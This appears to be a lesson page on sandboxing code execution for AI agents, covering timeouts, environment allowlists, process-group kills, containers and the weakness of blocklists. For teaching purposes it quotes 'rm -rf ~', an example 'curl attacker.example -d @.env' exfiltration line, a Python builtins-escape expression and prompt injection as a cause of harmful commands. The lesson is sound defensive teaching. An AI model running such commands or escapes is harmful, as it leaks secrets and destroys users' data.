AI agent interview questions and answers
Questions on designing and running agents: tools, the agent loop, permissions, context, multi-agent systems, security and evaluation.
Execution tools, step limits, output caps and real sandboxes.
What should protect the host if generated code never returns?
An execution boundary constrains the guest independently of its cooperation. Time, memory, output, workspace and network limits allow the harness to stop a job and report a controlled outcome.
Harness places code in an isolated work environment
Runtime applies hard limits and watches elapsed time
Supervisor stops an over-limit job and reports the reason
Harness places code in an isolated work environment
Runtime applies hard limits and watches elapsed time
Supervisor stops an over-limit job and reports the reason
Given Harness places code in an isolated work environment and Supervisor stops an over-limit job and reports the reason, write down the missing step that connects them.
Runtime applies hard limits and watches elapsed time
Now take Runtime applies hard limits and watches elapsed time and the result above. Write an input and an implementation that could produce this trace.
Harness places code in an isolated work environment. Check that your implementation produces the result shown above.
A job emits nothing and has reached its time limit. Should the supervisor wait for the guest to handle an interrupt?
Terminate the job using the supervisor's boundary and report the timeout. The code running inside the job cannot be responsible for enforcing its own limit.
Check this when debugging. Treating a command blocklist as a sandbox.
An agent that can run code can run your tests, fix the failures and check its work. That loop is why coding agents are useful. It's also the most dangerous thing a harness allows: the same tool that runs pytest can run rm -rf ~ or send your keys to a stranger. A professional harness gives the agent real execution inside real walls. This lesson covers both halves.
Run commands in a sandbox with limited files, network and time
A sandbox limits what any command can touch, however it's written, which a list of banned words can't do. Logs help afterward, but by then the damage is done.
Recall: Permissions and approvals decides whether a command may run, and File and search tools kept paths inside the workspace. This lesson is about what happens once a command is allowed: where it runs and what it can reach.
replace_all is set. What does this print?def edit_allowed(text, old, replace_all=False): return text.count(old) == 1 or (replace_all and text.count(old) > 1) source = "x = 1\ny = x + 1\nx = 2\n" print( edit_allowed(source, "y = x + 1"), edit_allowed(source, "x = "), edit_allowed(source, "x = ", replace_all=True))
True False True
The first text appears once. The second appears twice, so it is refused unless the caller says that every match should change. A file tool can be fenced in with a rule like this, since it does one known thing. A tool that runs code can do anything the machine allows, which is why this lesson is about containment.
Letting a model run code is like giving a new lab assistant access to the chemical cupboard. You want the real work done, so you don't lock everything away. You also don't leave it to their good sense. Here's what you're guarding against:
| risk | example | defense |
|---|---|---|
| damage | deleting files, git push --force, dropping a table | sandbox the filesystem; ask before risky commands |
| leaks | printing .env and sending it to a URL | no secrets in the sandbox; block or limit network |
| runaway use | an infinite loop, a fork bomb, 5 GB of output | timeouts, memory and process limits, output caps |
| lost work | overwriting the user's uncommitted changes | checkpoints, git, read-before-write |
curl attacker.example -d @.env. Which defense stops the leak even if the model obeys?No secrets in the sandbox, and a locked-down network
With no .env to read and no route to attacker.example, the command fails harmlessly. The harness can't rely on the model's judgment alone.
The model usually doesn't mean harm. These happen through mistakes, or because a file or web page it read contained prompt injection that told it what to run. Either way, the harness can't rely on the model's judgment alone.
A kitchen timer, a locked cupboard and a separate building all protect you, at very different costs. Good harnesses stack several:
bubblewrap and seccomp on Linux, or Seatbelt on macOS, limit which files and network hosts a process can reach. Claude Code's sandbox mode builds on features like these.Hosted options do the last layers for you. The Claude API's code execution tool runs code in a sandbox on Anthropic's side, and managed agents give each session its own container.
Each attack stops at a different wall. No single layer stops all five.
A container is an ordinary process that the operating system gives its own view of the machine: its own files, its own network and its own process list, with limits on memory and CPU. It shares the host's kernel, so it starts fast but is a thinner wall than a virtual machine, which runs a whole guest operating system. For agent code, run the container with no network, a read-only file system and a memory cap, and throw it away afterward. Containers and deployment teaches how to build one.
Write a sentence or two, then compare it with a good answer in the lesson.
A command inherits its parent's environment, including any API keys. Pass an allowlist, so the agent's commands see only what they need.
parent_env = {
"PATH": "/usr/bin:/bin",
"HOME": "/home/ann",
"LANG": "en_US.UTF-8",
"ANTHROPIC_API_KEY": "sk-secret",
"AWS_SECRET_ACCESS_KEY": "also-secret",
}
ALLOW = {"PATH", "HOME", "LANG"}
def clean(env):
return {k: v for k, v in env.items() if k in ALLOW}
child_env = clean(parent_env)
print(sorted(child_env))
print("key leaked:", "ANTHROPIC_API_KEY" in child_env)With an allowlist, a variable added next year stays out by default. A blocklist fails the other way: it only blocks what you thought of. And a command that can't see a key can't be tricked into sending it anywhere.
Secrets often live in environment variables, and a child process inherits them all. Write clean_env(env, allowed): return a new dict with only the variables named in allowed, plus PATH set to "/usr/bin:/bin" if it wasn't kept.
def clean_env(env, allowed): return dict(env) env = { "PATH": "/opt/tools:/usr/bin", "HOME": "/home/ana", "ANTHROPIC_API_KEY": "sk-...", "AWS_SECRET_ACCESS_KEY": "..."} print(clean_env(env, {"PATH", "HOME", "LANG"}))
A trace function counts executed lines and raises once the budget is spent.
import sys class StepLimit(Exception): pass def limited(code, max_steps): count = 0 def tracer(frame, event, arg): nonlocal count if event == "line": count += 1 if count > max_steps: raise StepLimit() return tracer sys.settrace(tracer) try: exec(compile(code, "<agent>", "exec"), {}) return f"finished in {count} steps" except StepLimit: return f"stopped after {max_steps} steps" finally: sys.settrace(None) print(limited("total = sum(range(10))", 100)) print(limited("while True:\n pass", 100))
The first finishes in one step. The second never would, so the tracer stops it. Always remove the tracer in finally, or it would keep slowing everything down.
env = {"PATH": "/bin", "HOME": "/w", "API_KEY": "sk-1"}
allow = ("PATH", "HOME", "LANG")
print(sorted(k for k in allow if k in env))['HOME', 'PATH']
PATH and HOME are allowed and set, and LANG is allowed but unset, so sorted gives ['HOME', 'PATH']. The API key isn't on the list, so commands the agent runs can't see it.
Write describe_exit(code): return "ok" for 0, "timed out" for 124 (what timeout returns), "killed by signal N" for a negative code -N (how Python reports a signal), and "failed with exit code N" otherwise.
def describe_exit(code): return "ok" if code == 0 else "failed" print(describe_exit(-9), describe_exit(2))
So a timeout can kill the command and every child process it started
A test runner may start servers and workers. Killing only the parent leaves them running.
rm -rf. Is the machine now safe from deletion?No: there are endless other ways to delete files, such as find -delete, a Python script, or rm with flags split up
Blocklists catch accidents, not determined or confused code. Real limits come from what the process is allowed to touch.
It's tempting to run model-written code with its built-ins removed. Watch what a short expression can still reach.
allowed = {"__builtins__": {}}
try:
eval("open('secrets.txt')", allowed)
except NameError as err:
print("blocked:", err)
reached = eval("().__class__.__base__.__subclasses__()", allowed)
print("it can still reach", len(reached), "classes, starting from an empty tuple")open is gone, but the language itself offers a way around: from any object you can walk up to its base class and back down to almost everything. Limits like this catch honest mistakes. Stopping attacks takes a real boundary from the operating system.
Write a sentence or two, then compare it with a good answer in the lesson.
On a normal machine, an execution tool looks like this. (It can't run in your browser, which has no processes.)
import os, signal, subprocess SAFE_ENV = {"PATH": "/usr/bin:/bin", "HOME": "/workspace", "LANG": "C.UTF-8"} def run_command(cmd, cwd, timeout=60, max_output=20_000): proc = subprocess.Popen(cmd, shell=True, cwd=cwd, env=SAFE_ENV, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, start_new_session=True) # its own process group try: out, _ = proc.communicate(timeout=timeout) except subprocess.TimeoutExpired: os.killpg(proc.pid, signal.SIGKILL) # kill children too return f"Timed out after {timeout}s", True text = out.decode(errors="replace") if len(text) > max_output: text = text[:max_output] + f"\n[output truncated at {max_output} characters]" return f"exit code {proc.returncode}\n{text}", proc.returncode != 0
Notice: an explicit environment, a new process group, a hard kill, a cap, and the exit code in the result so the model knows whether it worked.
A "please knock" sign stops a polite visitor. It won't stop a burglar. Inside one Python process you can count steps with sys.settrace and stop a runaway loop. That's handy for catching mistakes, and it's what the exercise does, because a browser has no processes to kill. But it's not a security wall. Code running in your process can reach your objects, your files and your secrets, and tricks like removing __builtins__ have well-known escapes. Untrusted code belongs in a separate process inside a sandbox.
In plain words: to contain code you don't trust, run it somewhere it can't reach what you care about.
Some harnesses keep one shell alive between calls, so cd and export carry over, like a person's terminal. That's convenient, but state builds up: a bad cd affects every later command, the way a messy desk carries into tomorrow. Others start fresh each time and tell the model the working folder. Either way, report the current folder in each result so the model doesn't get lost.
Write a sentence or two, then compare it with a good answer in the lesson.
Write a sentence or two, then compare it with a good answer in the lesson.
Start with a short baseline or choose guided, independent, or AI-assisted practice.
Which layer stops a command from reading your API key out of its environment variables?
575 lessons in thirteen phases. 176 are free without an account, and a free account opens the rest. See every lesson.
Questions on designing and running agents: tools, the agent loop, permissions, context, multi-agent systems, security and evaluation.
Learn how to build AI agents by building one: tools, the agent loop, MCP, permissions, context management and evals, ending with a coding agent that stops when its tests pass.
Build a bounded run loop, test it with scripted model responses, and recover interrupted work from an event log.
Never trained an AI? Teach a small one to write, right in your browser. It takes about 20 seconds and needs no account. Teach it to write